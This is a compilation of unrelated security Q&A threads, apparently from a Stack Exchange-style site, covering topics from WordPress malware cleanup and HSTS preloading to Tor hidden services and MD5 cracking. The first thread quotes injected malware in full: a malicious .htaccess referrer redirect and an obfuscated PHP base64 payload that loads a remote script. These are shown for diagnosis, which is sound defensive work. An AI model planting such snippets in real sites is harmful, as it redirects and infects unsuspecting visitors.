How to prevent my website from getting malware injection attacks? My website was banned as a malware website by Google. When I checked the code, I found out that some code injected many files on my server. I cleaned everything manually, edited all files on my server (shared hosting) by searching some code from the injected code in all the files. Even the .htaccess file was modified by the attacker.

There were two WordPress installations on the website, in two different subfolders of the website root, which were not updated. I updated both.

Then Google removed ban on my website.

Yesterday, I found out that the .htaccess file on my website was again modified by the attacker. Here is the code:

#b58b6f#
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
RewriteRule ^(.*)$ http://www.couchtarts.com/media.php [R=301,L]
</IfModule>
#/b58b6f#

I searched for "b58b6f" in all the files, but I don't find any. I think this is the only file modified by the most recent attack. I deleted this .htaccess file, as I don't need it.

How was the hacker able to hack my website? How to prevent this to happen again? How I can make my website more secure?

It seems that the malware you encountered is the "daysofyorr.com virus" or MW:HTA:7.

I'm suggesting that you to use FileZilla as the FTP client. If so, you must know that FileZilla store the credentials of your websites in plain text. A virus may have accessed your credentials, and then accessed all your registered websites searching for WordPress install in order to update the files by inserting this code.

Now, you should:

Search your computer for any viruses, malware, etc.
Change the FTP password of all your registered FTP accounts saved in FileZilla
Eventually use a better FTP system, like WinSCP

  A late comment, but I suspect that you use FileZilla as your FTP
  client. Did you know that FileZilla stores your FTP site credentials
  (site/user/pass) in a plain text file in the %APPDATA% folder?

  And I also suspect there is a hidden malware on your computer. It
  grabbed your FileZilla credential files, and used them to change your
  header.php file in your theme folder. In fact, I suspect that you will
  find changed header.php in all of your themes folders.

  And if you are technical enough to look at your FTP log files, you
  will find the access to those files: a download, then an upload of the
  changed files. You might also find some random file names that were
  uploaded to your root ('home') folder, although those files were
  deleted by the hacker.

  And, you will find that the IP address in the FTP log of the hacker
  was from China.

  Recommendation: uninstall FileZilla, delete the FileZilla folder from
  %APPDATA% folder, change your FTP passwords (and your host passwords).
  And look for any changed header.php, footer.php, and wp-settings.php
  files.

For the "daysofyorr.com virus", you can confirm this by checking some of your PHP files (like index.php), if you find this code:

#b58b6f#
echo(gzinflate(base64_decode(“JctRCoAgDADQq8gO4P5DvcuwRUm hbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3a RWPuDwjeTcmwKJeFK5Qc=”)));
#/b58b6f#

That's it!

For information, it translate into:

<script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script>

Which seems to lead to a 404 nowadays.


How can I add my website to preload entries set of well-known browsers like Firefox or Chrome? I have a website like https://www.example.com. I need to force all users visiting my site to use HTTPS connections.

I thought about HSTS but I don't know how to add my site to the preload entries of browsers (browsers will only allow HTTPS access to domains in their preload lists) in their next versions. Is there any site, or person, where I can register?

I know about it is possible to enforce HTTPS for a website manually to my browser, but I need my site to be "preloaded" for all users.

All major browsers (Chrome, Firefox, Opera, Safari, IE 11 and Edge) use a HSTS preload list of Chromium.

You can check the eligibility and register the website to be included in the HSTS preload list on the https://hstspreload.appspot.com page.

As of today, the requirements are:

  Have a valid certificate.
  Redirect from HTTP to HTTPS on the same host.
  Serve all subdomains over HTTPS.

  In particular, you must support HTTPS for the www subdomain if a DNS record for that subdomain exists.

  Serve an HSTS header on the base domain for HTTPS requests:

  The max-age must be at least eighteen weeks (10886400 seconds).
  The includeSubDomains directive must be specified.
  The preload directive must be specified.
  If you are serving an additional redirect from your HTTPS site, that redirect must still have the HSTS header (rather than the page it redirects to).


Security Configuration Audit - CIS benchmarks I'm trying to conduct a comparative study between the standards used to conduct a security configuration audit. I only found CIS benchmarks. If you could suggest some more known standards it would be helpful.

Aside from CIS Benchmarks, I suggest what the U.S. government uses for FedRAMP clouds which are the USGCB checklists and the DISA STIGS.


Where/How is an ODBC password stored when 'saved' in Access? I have been working on a program that uses MS Access and ODBC to connect to an SQL server. One of the requirements is that the user need not know the password for the connection to the SQL server, so I checked the 'Save Password' check box when linking my SQL tables.

Does anyone know where the password is stored and how secure it is when this action is performed?

I would like to point out, that the answer to the second part of the question has little to do with the first part.

Even if the password was stored in a super-strong encrypted fashion (it's not), this would still not be secure, in several aspects.

The user has complete, unfettered access to the database. I.e. he can do anything he wants (per the permissions of the shared user... The user's privileges are restricted on the database, right?). E.g. accessing any unauthorized data, deleting other users' data, inserting garbage, etc.
This sounds like there is a shared user account, that all the users have plugged into their ODBC connection... Which means, the database server has no way of limiting users' access, segregating their data, tracking who done what, etc.
In any event, the ODBC password would need to be decrypted in memory, allowing the user to grab it, and then impersonate the application and again, do whatever he wants.

You'd be much better off redesigning the application, with a middle-tier and all...
I always find it odd discussing security and MS Access in the same conversation...

If you absolutely cannot change the architecture, consider using Integrated Windows Authentication, and tying user accounts (or group) to a db role for management. That way, at least each user will have his own account on the server, you can restrict access (according to the principle of least privilege), no shared accounts, and you can track each users actions on the database.


Is my passphrase compromised? While at the login screen for my Google account, I pulled up my password manager
and began entering my master passphrase, so that I can retrieve my password for
the login. However, while I was looking at the keyboard and typing the master
password, I must have accidentally tapped my touchpad, bringing the Google
login into focus. As a result, I had typed the entire master into the Google
page, though none of my keystrokes registered as dots in the "Password" field.

I am now concerned that the login page may have still captured my keystrokes and
that Google may have my master password, which I also use to encrypt files.

Should I change the master? Or am I being too paranoid?

If you are asking the question "Is my password compromised" then you suspect compromise and should change the password immediately, as per NCSC advice. Don't second guess if the risk is high enough; just do it. (This habit is the price you pay for not having to rotate it every month, like the advice used to be.)

I actually did this exact thing the other day. Very irritating as it so happened I'd changed my pw the previous week!


Security risk with dynamically linked library Scenario: I have an Android app that uses a LGPL licensed library. In order to satisfy this license, I dynamically link to said lib at runtime which allows the user change out the .so file if there was an update to the library or for any other reason.

Issue: In order to swap out the .so file, the user would have to unpack the apk, replace the .so file, repack it, then resign it. Tools like apktool work well for this but my app relies heavily on a backend which requires the apk to be signed by my keystore. So swapping out this library would render the app useless.

My Solution: When the user starts the app, I simply copy the .so from its home in
"/data/data/package name/lib" to a directory that the user can access. I then usevoid *handle = dlopen("path/to/external/storage", RTLD_NOW|RTLD_GLOBAL); to link to the library. This solution works great allowing the user to freely change the .so file as they please.

My Question: Is there any security risk involved here? Other than watching Mr. Robot, I have no experience with "hacking". In this case, someone could modify and compile their own .so using the same symbols I link to which would allow them to run their code behind all the permissions that my app has allowed. Is this a potential threat or does it not matter because it would only be on that user's device? Is there a better way to go about this? Finally, do I even need to give the user access in this way since technically they can unpack and repack the apk to change the .so file so the LGPL is satisfied even though they would not be able to get past the login activity after doing so?

This is definitely dangerous as any program with the permission to change external storage (a large proportion of Android apps have this) can change the .so and run arbitrary code with your app's permissions.

If you really want the users to be able to change the library. You should provide a UI which allows them to pick a file and then copy the .so to your own app's /data directory before linking to it.


How common are mitm attacks behind an ISP? Yes. Of course using https everywhere is best. But sometimes that's not an option. In those cases, I'd like to make an informed decision. Is there any information about their prevalence? Or would that all be hidden anyway so no one knows? Does it depend on the site visited?

To be clear:
I'm not referring to an attack on my wifi connection. Nor any other kind of attack. I'm asking specifically about connecting to a major ISP (let's assume U.S.) and visiting a site or connecting to my hosted web site. I'm also not asking about the government being the mitm, just anybody else.

MITM attacks by ISPs are rare, but still do happen.

Some mobile ISP rewrite images to be more compressed, some also compress HTML and Javascript if transferred over HTTP
Some ISP DNSs respond to unknown domains and redirect to their search engine
Iran's national ISP used hacked Diginotar certificates to MITM SSL connections to Google
If the ISP is your employer, they might have put a SSL MITM CA to your work PC and are inspecting SSL traffic


Teaching security concepts I think it would be nice to teach security concepts by giving practical examples. I am looking for some practical cases for x509 certificates, kerberos and SET.

How could I know an ecommerse site uses SET? Or is it the defacto standard?

How could I explain kerberos from a practical view point

1. Kerberos

The best example of explaining Kerberos from a practical viewpoint I've ever come across, is Bill Bryant's Designing an Authentication System:
a Dialogue in Four Scenes. Originally intended to provide an understanding of the conceptual ideas in Kerberos, as a way to promote implemenations of KerberosV4, it does a decent job, and is quite amusing if you ask me.

2. SET

SET is not a de-facto standard, although intended and promoted as such during development. Even VISA, one of the sponsors and heavy proponents of SET, now promotes newer and more modern security standards for e-commerce.

3. X.509

The first practical case of X.509 certificates that comes to mind, is the widespread use of SSL/TLS to encrypt data transactions on websites over HTTPS


How to implement password reset functionality without becoming susceptible to cross-domain referer leakage? I have typically implemented password reset functionality by sending a link that included something like this:

http://example.com/pwreset?id=userId&resetToken=superSecretResetToken

On my pwreset page I will typically request a few resources from third parties.  From what I understand, since I have sensitive information in my URL at this point, it could be revealed to these third parties in the referer header when the request is made.

While I trust these parties, I would prefer that they don't see URLs that would give them the ability to reset passwords or have this information logged on their end and available should their system be compromised.

A few questions:

Is it possible to implement a password reset page that includes third party resources without disclosing the referer?
Where else, besides the third party, would this information be visible (if anywhere)?

Yes. This could solve your problem:

mysyte.com/?token=xxx sets a cookie and redirects to mysite.com/changepwd without returning any markup
mysite.com/changepwd recognises the user by the cookie and can
safely request for 3rd party resources without leaking the token
through referrer headers.

To answer your second question: if the resource is over http, then any network nodes between you and the 3rd party would be able to see the token. If it is https, then it's only the 3rd party that will get the token.


Pop up in Facebook built-in browser While I was visiting a page on a usual website with the built-in browser of the Android Facebook app, a pop-up just... poped-up, saying dumb stuff about my cellphone being full of viruses, etc. (Quite similar to "Virus Found" Web Browser Pop-up) Not wanting to click on anything, I just frenetically tapped the "back" button of my Android Cellphone, which prompted the pop-up to come back until eventually Google Play Store opened and offered me to install "https ://play .google. com/store/apps/details?id=com.duapps.cleaner"

Tapping the home button of my cellphone, then using the app switcher to close Facebook, everything seems to be fine again.

My question is: Is there some way to prevent this from happening again? I mean, I was visiting a (I think) perfectly legit website which I visited many time before. Also, this is the first time I see this on a phone's browser (maybe I was just lucky until now)

Yes, the answer is simple. Go to the Facebook App's settings page and turn on "open with external browser" or somesuch, and the infernal internal browser in the FB app will be silenced!


Why can't I transfer executable files with netcat? I have two lab machines, one Kali and one Windows 10. Netcat is running on both and both are communicating successfully. If I create a simple text file I can transfer the file from Kali onto Windows no problem. However, if I run the following commands:
[on windows] nc -nlvp 4444 > incoming.exe
[on kali] nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe

And then try to execute incoming.exe on the Windows host (through Powershell) I get:
Program 'incoming.exe' failed to run: The specified executable is not a valid application for this OS platform.

Just in case, I tried to send over executables that for sure work on the Windows machine and it still showed the same message. What's weird is that the size of the executable is approximately doubled from what it is in Kali. In fact it seems that even the text files double in size once transferred to Windows. What could the issue be?

The "doubling in size" to me smells like Unicode encoding at work. Does your Windows netcat have any option for binary only transfer?
To verify, does the text on Linux remain readable and apparently identical, but become _t_e_x_t (_ representing a 00 hex) if you look at it with a binary editor, on Windows?
From your comments, "a simple text file I can transfer the file from Kali onto Windows no problem" and "In fact it seems that even the text files double in size once transferred", it looks as if the text remains readable and apparently identical if you open it on Windows, and yet its size changes. In my experience, if it changes by very little (one character every row) that's linefeed encoding, if it doubles straight then it's two-byte encoding on Windows.


How can I get the IP address for a Tor Hidden Service (HS) with a .onion address? I'd like to find out the IP address of a given .onion address.

Is it possible for me to simply assign an exit node (that I control) to my client and just monitor it to determine what IP address that exit node uses?

If no, what are other solutions in determining what the IP address of the .onion is?
If none of this is possible, why is that?

It is not possible to get the IP address of a Tor hidden service.

For a normal Tor circuit, the client knows the IP of the server, but the server does not know the IP of the client.

The idea behind hidden services is that when both a client and a server are Tor-enabled, it's possible to build Tor circuits in both directions and hide both the client and server IP (by using intermediate nodes).

The protocol

Setup

The hidden service picks N introduction points, builds a Tor circuit to each, and communicates its public key
The hidden service advertises these introduction points and its public key

Connecting

The client chooses an entirely new relay called a "rendezvous point", builds a Tor circuit to it, and tells it a newly-generated one-time secret
The client contacts an advertised introduction point over a Tor circuit and tells it the rendezvous point's IP and the one-time secret, encrypted by the hidden service's public key
The introduction point relays this encrypted rendezvous point and one-time secret to the hidden service over the existing Tor circuit
The hidden service decrypts this data, builds a Tor circuit to the rendezvous point, and tells it the one-time secret
The rendezvous point now relays information between these two Tor circuits

Information

This is what IPs each actor knows after this process:

The hidden service knows the IPs of its introduction points
The client knows the IPs of the hidden service's introduction points
The client knows the IP of the rendezvous point
The hidden service knows the IP of the rendezvous point

Essentially, at no point is a Tor circuit built directly to the hidden service, the hidden service always builds its circuits outwards. Therefore, its IP is never revealed.

References: a high-level description of the protocol can be found in Tor: Hidden Service Protocol, while a more detailed description can be found in the original design paper Tor: The Second-Generation Onion Router.


Can a text file disguised as .xlsm be malicious? A hour ago we receive a suspicious mail targeting some of our mailing lists. It contains a .zip file, itself containing a .xlsm file.
This .xlsm file appears to be recognized as an ASCII text file from the file utility and olevba:
olevba 0.56.1.dev2 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: ./Document23312_backup.xlsm
Type: Text
-------------------------------------------------------------------------------
VBA MACRO ./Document23312_backup.xlsm
in file: ./Document23312_backup.xlsm - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

### BEGINNING FILE CONTENT ###

HupKasOthobiarHofrigNioggEgDabHeegantyeeg3quadWozUdAirgiankejrickUphPikUsedbedTaryoofog/
CatsidcerOdiberboipmoawgoojurr8GlerfEurryasOpchynghoojyovshobtoonshAnsIdair&quadbyxEigufOvCiatvocsho
OovChorOseskajnitdyodkeapApcoHacKubFoondamUbwicveljOvJenrocsyapdivomret7OnsOcbucUj,
`ovWedEijopEydFalquehobisib_DakVuktadAdFuNucPhooz2
JaFrarn2ocDoojNowdyasofJighfalhumVeitMuAnriHeptowpEzSaFru4ghipGhowuvViVophOwd:Okijhuf
)OtyijwushouritoagceyfuojbiocIkajbacodoc8

### END FILE CONTENT ###

No suspicious keyword or IOC found.

As we does not have sandboxes, we did not open the document with Microsoft Excel.
We're surprised by these three factors:

file is sent using spearphising
file pretends to be a .xlsm document, but is an ASCII text file
file content looks encrypted or encoded

We're not IT experts so we're distraught about this file. Could it be a virus, or part of it? What could be its motivations? If it's a stagger, is there any way to identify IPs from which it'd load payloads?

.xlsm files are equivalent to .xlsx, except that macros are automatically enabled. Macros are very dangerous and equivalent to arbitrary code execution on your computer, and you should never accept them from the Internet—when you get a .xlsm file, you should rename it to .xlsx before opening, so as to neuter its macros.
I've never used Olevba before, nor the VBA language that MS Office macros are written in, so I'm not sure how to interpret the output in the question. However, it says VBA Macro quite prominently on the sixth line—and the shown macro, while it doesn't look like valid VBA code I've seen, could work somehow else (does MS Office have a way to "encrypt*"/obfuscate macros, or VBA have sufficient permissiveness in its evaluation or preprocessing for an analogy of JSFuck or IOCCC's tricks?). I'd throw this file out, to be safe—there's most assuredly nothing useful to be gained in it. If the macro is indeed actual code and not just a corrupted, mangled mess, then the .xlsm is just a clever way to trick you into opening the file, and in other respects the answers to all your questions are identical to how it would be for a .exe:

Could it be a virus, or part of it? Absolutely. (Mind, as this bears a reminder, a virus is a program specifically that infects other programs to include itself—a program that merely does annoying things to thwart your natural use of your computer or to break the guarantees you rely on is a Trojan. This program could be either.)
What could be its motivations? Any kind of payload might be attached, to do any arbitrary things the malware author saw fit—from stealing data from your internal network, to operating a botnet, to hosting phishing sites on your Internet connection, to ransoming your files, to merely pranking you.
If it's a stagger, is there any way to identify IPs from which it'd load payloads? Someone who could figure out how to read that mess could try to reverse engineer it, the same way that you can read any code. VBA operates closer to high-level human concepts than, for example, raw machine code does, so if you can deobfuscate it, it should be pretty easy to tell what it's supposed to do (including contacting a remote server and downloading code from it). Alternately, one could take the lazy route, and just run it on a sandboxed VM / separate computer (beware of doing this on your internal network if you have any non-up-to-date machines, as you might release a worm travelling via public vulnerabilities you did not yet patch), and use a traffic monitor to see what it contacts.

* genuine encryption has an unrevealed secret key on which the security rests, and the actual implementation can be open and the encryption still secure if the key remains secret


What are the security concerns about using unencrypted TCP keepalive with TLS? In my software both the server and the client sends unencrypted TCP keepalive messages to be able to detect the broken pipe within a reasonable time. It also uses TLS 1.3 encryption with OpenSSL 1.1.1.

Are there any security concerns about this?

For example: Man-in-the-middle attacker disrupt the communication. To spoof both sides that the connection is still alive, he regularly sends/forwards TCP keepalives.

Is this scenario possible? Is it likely?

What other scenario can you think of?

... server and the client sends unencrypted TCP keepalive messages

A TCP keepalive message is a packet with no payload, i.e. the length of the application data is 0. The objective of TLS is to protect the application data against sniffing and modification. Since there are no application data in the TCP keep alive message in the first place there is nothing to protect here. In fact, TLS is not even aware of TCP keepalive and there is no need that it needs to be aware of it.

  For example: Man-in-the-middle attacker disrupt the communication. To spoof both sides that the connection is still alive, he regularly sends/forwards TCP keepalives.

TLS does not care about the status of the TCP connection. It only cares about the transferred application data. TLS does not even see the TCP keepalive messages and has no way to trigger these.

The whole purpose of TCP keepalive is to keep an idle connection open and to detect connection loss within an idle connection. Connection loss or failure to detect it is usually not seen as a security problem since no actual application data are affected. If your specific applications requires such detection for security reasons and in a tamper-resistant way then you need to implement some kind of heartbeat at your application level or use the infamous TLS heartbeat extension if supported by your specific TLS stack.


How does Google SQL Proxy work? Google Cloud SQL instances are by default not exposed to the Internet. One of the connection methods supported is Cloud SQL Proxy, which is able to map the Cloud SQL instance to a local port (say, localhost:3306) or a UNIX socket.

It is authenticating with a service account, which is in practise a public/private key pair (be it as a file or attached to a Compute Engine instance via metadata).

My suspicion is that it works similarly to stunnel, the server exposes an SSL service that tunnels the mysql protocol and the client authenticates with a client certificate. Does anyone have more information on how this protocol works?

I would like to understand which connections are made, how are my keys used, which encryption methods are used and, in general, which security principles are protecting my connection.

Can I reuse the same service account credentials to authenticate connections to my own databases (say, Redis)? If so, how?

Thanks!

It uses SSL: https://github.com/GoogleCloudPlatform/cloudsql-proxy/blob/master/proxy/proxy/client.go

It uses Google Cloud SQL APIs for managing SSL (https://cloud.google.com/sql/docs/mysql/configure-ssl-instance, https://github.com/GoogleCloudPlatform/cloudsql-proxy/blob/master/proxy/proxy/dial.go).


Private key and wildcard certificates I'm trying to understand the implications of private key leakage (due to Heartbleed) from a website that uses a wildcard certificate.

If an organization has a wildcard certificate (valid for *.domain.tld), does it mean that all sites that use this certificate will have to share the same private key?

They MAY use the same certificate for any *.domain.tld. However, the problem with bugs like heartbleed is that, in case you get hold of the private part of the certificate you are able to intercept (read / modify) any *.domain.tld SSL/TLS traffic and it doesn't really matter what the originally used certificate is (unless HPKP is enforced).


How SS7 attack first enter into SS7 network? I've read the following article about SS7 attack:
https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf

I have some questions about this kind of attack:

Is SS7 attack can be done through regular home ISDN connection ? (not requiring to be done from within network operator device )

As I understand from article, SS7 attack manage to find IMSI, location (cell location and accurate GPS location) , but:

Although there is this published well article, there is no demonstration or explanation how to  enter  ss7 network in the first place. How is it done?
There is verint's skylock product which use ss7 attack.
https://assets.documentcloud.org/documents/1275167/skylock-product-description-2013.pdf
The interesting part is that it is said that it can be done from anywhere in the world becuase of their device are spread. "Worldwide SS7 Hubs: SkyLock global infrastructure consists of SS7 hubs which are spread in
various locations around the world. " can anyone explain this ?
There is also similar product https://www.thespyphone.com/geolocation-and-surveillance-of-any-phone-worldwide/ what is it actually? How these products get into ss7 ?
How can such products be legal?

SS7 attacks can't be done via ISDN lines.

In order to attack the SS7 network, the attacker has to be "on the SS7" network. The SS7 network connects telco companies together, but it is not extended to clients. What this means is that the attacker is either has access to the network administrator at a telco company, or the attacker is the network admin at the telco company.

Luckily, SS7 attacks can't be done by default by skiddies. But countries where the admins are not payed very well will pose a significant threat to the whole world. Or countries where the intelligence agency is interested in attacking the another country is also a huge threat.


Reboot to clean state daily, on Windows I already know that this can be done on Linux, One can boot to a flash drive that is write protected. Live modify folders can be symlinked to to a swap partition, and this prevents viruses from being stored between reboots. All file storage would be temporary until next reboot, documents could be uploaded to an online service.

My question is about Windows. There are times in our business when it will be necessary to use Windows in order to recreate what is seen by our customers. Short of operating in a Windows VM:

Is there a way to always be booted to a clean state on every boot?

Or, if this can only be accomplished with a large delay on boot
Is there a way to copy the entire OS to an external (flash) drive, with the ability to boot the the drive and reinstall the image on demand?
Other suggestions would be appreciated. (Perhaps a Virtualization server?)

There used to be a Microsoft tool called Windows SteadyState which could be used to do that, but it is unsupported now.

However, Microsoft provides some alternatives that use Windows 7 technologies: see this document.

The only downside is that hard drive protection can not be recreated; a workaround could be creating a separate recovery partition and booting to it every time.
Yes, you could use the WAIK, prepare and customize a WinPE USB key, copy a "fresh" Windows 7 image on it and use it as needed to reimage the computer.

(Edit: as @Graham Hill pointed out, it is also possible to create a VM, take a snapshot and revert to it at every boot.)


Cracking a MD5 hash from numerical input I am trying to crack one of multiple MD5 hashes that have been created from numerical input.

I have a sample of 1000 MD5 hashes that are generated from numerical input. I know that the input is somewhere between 10^6 and 10^27.

Is there any chance to reliably crack 1 hash from my sample (or conclude back to a more limited range of possible inputs)?

I tried to calculate how long it would need me to crack a hash from my sample manually when being able to calculate 10^9 hashes per second from numerical input (with oclHashcat) but there is no chance I'll ever get the result while still alive.

So are there any really big rainbow tables out there, any mathematical methods or MD5 weaknesses that I don't know about which could help me?

I'm assuming that there is no way to calculate even an "approximate" distance between two MD5 inputs from the hashes, so that given my samples I cannot deduce a reduced numeric range of possible inputs, which would also help (- but which is obviously not far from cracking).

So since MD5 is said to be so weak, any chance to crack it in practice with big numerical inputs?

While it is considered as insecure, MD5 is still considered as preimage resistant, so your best option is still brute-force.

Knowing some information about the input will help you in the brute-force process, but there's no known weakness which might help you.


MD4 or MD5 speed depends on data or just on data size? Im just wondering ... Lets say, I want to compute an MD5 hash from a given buffer which is an empty (memset(buffer, ' ', sizeof(buffer));) buffer with size of 512. I also want to compute MD5 hash on same-sized buffer but non-empty one: memset(buffer, 'a', sizeof(buffer));.

Am I right that the speed of computation should be the same for those 2 buffers? I mean, I want to ask if MD4/MD5 (cryptographic algorithms in general) speed depends only on data size, not also on data content?

As far as performance is concerned, the time to compute an MD5 hash or any other cryptographic hash depends solely on the number of bytes. It doesn't matter what the bytes are.

Note that memset(buffer, ' ', sizeof(buffer)); doesn't create an “empty buffer” — there is no such thing as an empty byte in memory. It fills the buffer with space characters, which are bytes like 'a' or any other.

Security-wise, the time to compute a hash can vary very very slightly depending on the data. This may allow an attacker who doesn't know the data but can accurately measure the time it takes to hash it to obtain some information about the data. For a hash computation, timing attacks are highly unlikely to work in practice, because there is little in the timing that depends on the data. Timing attacks are mostly successful on operations on large integers involved in asymmetric cryptography, and mostly when the attacker can influence the data and the execution speed. For example, if the implementation uses a table that doesn't fit in a single cache line and the attacker can run code on the same processor, the attacker might try to use the cache in his own process, so that the hash computation keeps fetching parts of the table from RAM, allowing the attacker to observe when RAM lookups take place. The implementation can counter that by being cache-oblivious.

In practice, I wouldn't worry about timing attacks on hash computations. Hash comparisons, yes (when comparing two MD5 hashes, one of which is secret, you should compare all 16 bytes and not stop at the first difference). Number of hash computations or comparisons in an algorithm that involves many such, yes. But not for the hash computation itself.


Can deleted snapchat messages be recovered? If there are chats that have been deleted, is there a way to recover these with any recovery tools, or are they gone forever?

Yes you can try Data recovery software available to restore snap-chat msgs
Many are there and you should use it .Although I wont promise 100% recovery of all deleted messsages but many will be recovered depending on overwriting/changes of data you done till now
https://www.drfonelab.com/recover-lost-snapchat-messages.html
https://www.ibeesoft.com/recover-iphone/snapchat-message-recovery-iphone.html
https://www.phonerecoverytool.com/recover/how-to-recover-snapchat-messages-on-iphone.html


Work using net nanny I went to check my email at work, when I types in my password, net nanny appeared saying Adult/mature content was being seen. I had to click continue in order to go forward and sign out. Even after I clicked sign out the net nanny appeared again saying the same thing and I had to click continue in order to sign out of my email. Does this mean someone from my work will be alerted and be able to see all my personal emails, photos/videos, and history that could get me in trouble? Like an automatic screen reader of my emails?

Simple answer: if your employer has installed monitoring software on a computer, it's reasonable to assume anything you do on that computer could be monitored and recorded.


How secure is the PwdHash algorithm and system? I use the PwdHash service (http://crypto.stanford.edu/PwdHash/) and plugins for pretty much all of my passwords. I believe this is safer because:

No service gets the same password as another, so if one account is comprised my other ones shouldn't be.
The hashed passwords should be more secure than unique passwords I can realistically remember myself.

However, I am concerned that I could be exposing myself to risk by having a master password that, if comprised, can be used to gain access to all my services via PwdHash.

If an attacker has the hash, and knows that it was generated with PwdHash and knows the domain that it was generated for, how feasible would it be for them to determine the original password from that?

Having unique passwords entered to every site IS safer than giving each site the same password, for exactly the independent-compromise reason you suggested.

  If an attacker has the hash, and knows that it was generated with PwdHash and knows the domain that it was generated for, how feasible would it be for them to determine the original password from that?

Well, let's do some investigation and some math!  PwdHash appears to be using effectively GoofyStuff(Base64(HMAC-MD5())), so we're at the usual MD5(MD5()) guessing game speeds.  Per oclHashcat, "PC5 (8x AMD R9 290Xstock core clock)" can crack ~81 Billion MD5's per second, so ~40 billion tries as PwdHash per second, which gives us the more practical 1E17 (somewhat over 2^56) tries per 30 days.

I base the above on this snippet from a quick glance at the PwdHash page source:

    var hash = b64_hmac_md5(password, realm);

This is in the range of an exhaustive keyspace search of 62^9 to 62^10 in those 30 days, where 62 is the keyspace of upper case, lower case, and numbers (or upper case, lower case, and the symbols above numbers, whichever you like), and 9 or 10 is the length.

Thus, a fully random upper case, lower case, numeric password encoded with HMAC-MD5 will be found in less than about 30 days (unless you and the attacker are using different character sets (i.e. Cryllic vs. English)).  You'll need something with a larger total keyspace than this for your master password, and that's if it's a truly random password!

You don't even want to think about what a rules based dictionary attack can come up with at this speed, if your password is not, in fact, fully random.  My most comprehensive wordlist set is over 40GB of unique passwords; if we assume an average word length of 9 plus a LF separator, that's 4E9 words, meaning that if an attacker with that PC spent 30 days on your password, they'd be able to try roughly 2.5E7, i.e. 25 million different variations (rules) for each password.

Note that this wordlist is too slow and cumbersome to bother with... unless the target can be attacked at insane speeds, like a single HMAC-MD5 can.

If you do use PwdHash with a master password, have a really, really good one - 15 character or better, cryptographically random, with a large character set (upper, lower, number, symbols above numbers, symbols not above numbers).

  Other considerations

You should think about how you're going to change your master password after it leaks; perhaps you're up late and are trying to hurry and you type the master password into a web site directly instead of into PwdHash, just by habit, caffeine deprivation, hurry, and carelessness.  Now you need to change it!

Personally, I like offline password storage like KeePass, but I'd much rather use even basic OpenSSL than PwdHash - AS PATHETICALLY INSUFFICIENT AS IT IS, I'll put HMAC-SHA-512 up against HMAC-MD5 any day of the week.

 echo example.com2014 | openssl dgst -sha512 -hmac MyPassword -binary | openssl enc -base64

As always, you're better off using something truly random and storing it, or, if you insist on a deterministic generation routine, something really, really slow - particularly since this is just for you, so PBKDF2/BCrypt/Scrypt with enough iterations/work factor that takes even a second or two or five on your machine would be just fine, and would slow down an attacker to a crawl.

Shameless plug: I'm working on collecting a variety of PBKDF2 (and hopefully later BCrypt and Scrypt) code examples at my Anti-weakpasswords github page, some of which compile so you can run them at the command line of Windows or Linux, and use them exactly the way you're using PwdHash now, but with a higher iteration count than almost any website could use, if you're willing to wait a couple seconds.  As of today, there's only a Python version that Mitsuhiko wrote and Warner fixed for high iteration counts, not yet updated with better hashes, but that'll improve.


IP reputation services – valuable tool for detecting compromises? anyone have anecdotes on how subscribing to an IP reputation service led them to discover internal compromises?

services like:
https://www.iptrust.com/
http://ipremoval.sms.symantec.com/lookup/

In the past I have used OpenDNS for a client.  OpenDNS detected that not only was there malware phoning home on the network, but that there was Botnet traffic also coming from the network.  The problem was that since OpenDNS sits outside the network, it only sees the public IP of the network--Since there were >150 machines on the internal network, there was no easy way to tell which one was infected.

So my caution would be that unless there was a 1 to 1 relationship to the public IP and the computer (webserver or something like that), or the IP rep service sniffed the traffic before it was NATed, then I am not sure how valuable it will  be, except as an alerting mechanism that there is something nefarious going on in the internal network.

-Josh


Firefox 52 Privacy and Fonts My understanding is that Firefox 52 was to include features which increased privacy while browsing the web. Specifically, it was going to include a feature which limited the number of system fonts viewable to third parties (via javascript, I believe).

However, using EFF's Panopticlick too, I can see very little change in the fonts viewable before upgrading to 51 and after upgrading to 52.

Below is a screen grab of part of what I see with Firefox 52.

Compare to what I see with the Tor Browser.

So, what gives? Shouldn't the System Fonts seen with Firefox 52 be the same as for the Tor Browser?

One reference I have for this is here where it says "The new change that will launch with Firefox 52 is an optional parameter that you can configure to restrict font access."

I looked in about:preferences#privacy for an option regarding fonts, but don't see one. So, where is this parameter and how do I configure it?

